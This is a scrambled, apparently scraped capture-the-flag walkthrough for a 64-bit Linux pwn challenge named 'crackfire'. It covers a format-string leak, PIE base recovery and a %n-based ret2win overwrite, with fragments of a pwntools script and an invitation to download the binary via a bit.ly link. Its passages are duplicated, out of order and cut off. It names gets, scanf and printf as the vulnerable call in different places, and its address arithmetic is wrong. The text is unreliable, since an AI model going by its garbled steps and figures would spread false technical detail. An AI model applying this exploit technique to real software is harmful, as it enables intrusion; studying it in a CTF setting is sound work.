Https- Bit.ly Crackfire -
Challenge type: Binary exploitation (pwn) – 64‑bit Linux Difficulty: Medium / Hard (depends on the exact variant) Points: 500 (CTF typical) TL;DR – The binary is a simple “crack‑the‑code” game that reads a user‑supplied string, checks it against a secret flag stored in the binary, and then prints “Access granted!” on success. The binary contains a classic format‑string vulnerability that lets us leak the address of the secret and later overwrite the check function’s return address to jump to win . By combining an info‑leak with a one‑shot ret2win payload we obtain the flag. Below is a step‑by‑step walkthrough that shows the thought process, the tools used, and the final exploit script (Python + pwntools). Feel free to copy the script and adapt it for the exact binary you downloaded from the short link. 1. Getting the binary The challenge link ( https://bit.ly/crackfire ) resolves to a zip file containing:
chmod +x crackfire file crackfire # crackfire: ELF 64-bit LSB executable, x86‑64, dynamically linked, ... The binary is – symbols are present, making static analysis easier. 2. Quick run‑through Running the binary locally shows the intended user interaction:
%p %p %p %p %p %p produces:
int main() char buf[64]; puts("Enter the secret code:"); gets(buf); // <-- vulnerable if (check(buf) == 0) win(); else puts("Invalid"); https- bit.ly crackfire
The classic technique is to write the lower 2 bytes, then the upper 2 bytes, then the upper 4 bytes, etc. Since we have a full 64‑bit address we’ll do it in (lower and higher dword) using %n twice. 7.1. Compute split values win_addr = 0x5555555552f0 low = win_addr & 0xffffffff # 0x5552f0 high = win_addr >> 32 # 0x5555 We need to place the low dword at the saved RIP, then the high dword at saved RIP+4. 7.2. Choose where to write the two addresses We’ll prepend the two addresses to the format string; they’ll become the first two arguments ( %1$ , %2$ ). Then we’ll use %3$n and %4$n to write to those addresses.
crackfire crackfire.c (source – optional, not always present) Make the binary executable:
def get_base(p): """Leak a known symbol (e.g., _start) to compute PIE base.""" # _start is at offset 0x4000 from base (found via readelf) leak = leak_address(p, "%p %p %p %p %p %p") # The second pointer (index 1) is usually _start in this binary # Adjust as needed by inspecting the output. # For illustration we assume leak is the PIE base directly. base = leak - elf.sym['_start'] log.success(f"PIE base: hex(base)") return base Challenge type: Binary exploitation (pwn) – 64‑bit Linux
The binary is compiled PIE, so we need to of _start (found via readelf -s crackfire | grep _start → 0x4006f0 ) to get the load address:
| Address | Symbol | Purpose | |---------|--------|---------| | 0x401260 | main | reads user input with scanf("%s", buf) | | 0x4010f0 | check | compares input to a hidden string ( secret ) | | 0x401240 | win | prints flag and exits |
def build_fmt_payload(ret_addr, win
Invalid code! Try again. If you guess correctly you get:
[payload] = <addr_of_ret> <addr_of_ret+4> <format string> We must pad the number of bytes printed so that %n writes the correct value.
# ---------------------------------------------------------------------- # 1. Get the binary base (leak step) – omitted here; we just hard‑code. # ---------------------------------------------------------------------- base = 0x555555554000 win = base + 0x12f0 # offset found with readelf -s Below is a step‑by‑step walkthrough that shows the
base = leaked_puts_addr - puts_offset_in_binary For the purpose of this write‑up we’ll assume the binary’s base is 0x555555554000 (typical ASLR value on my system). All subsequent addresses are . 6. Locating the return address on the stack When printf(buf) processes the format string, the stack layout looks like:


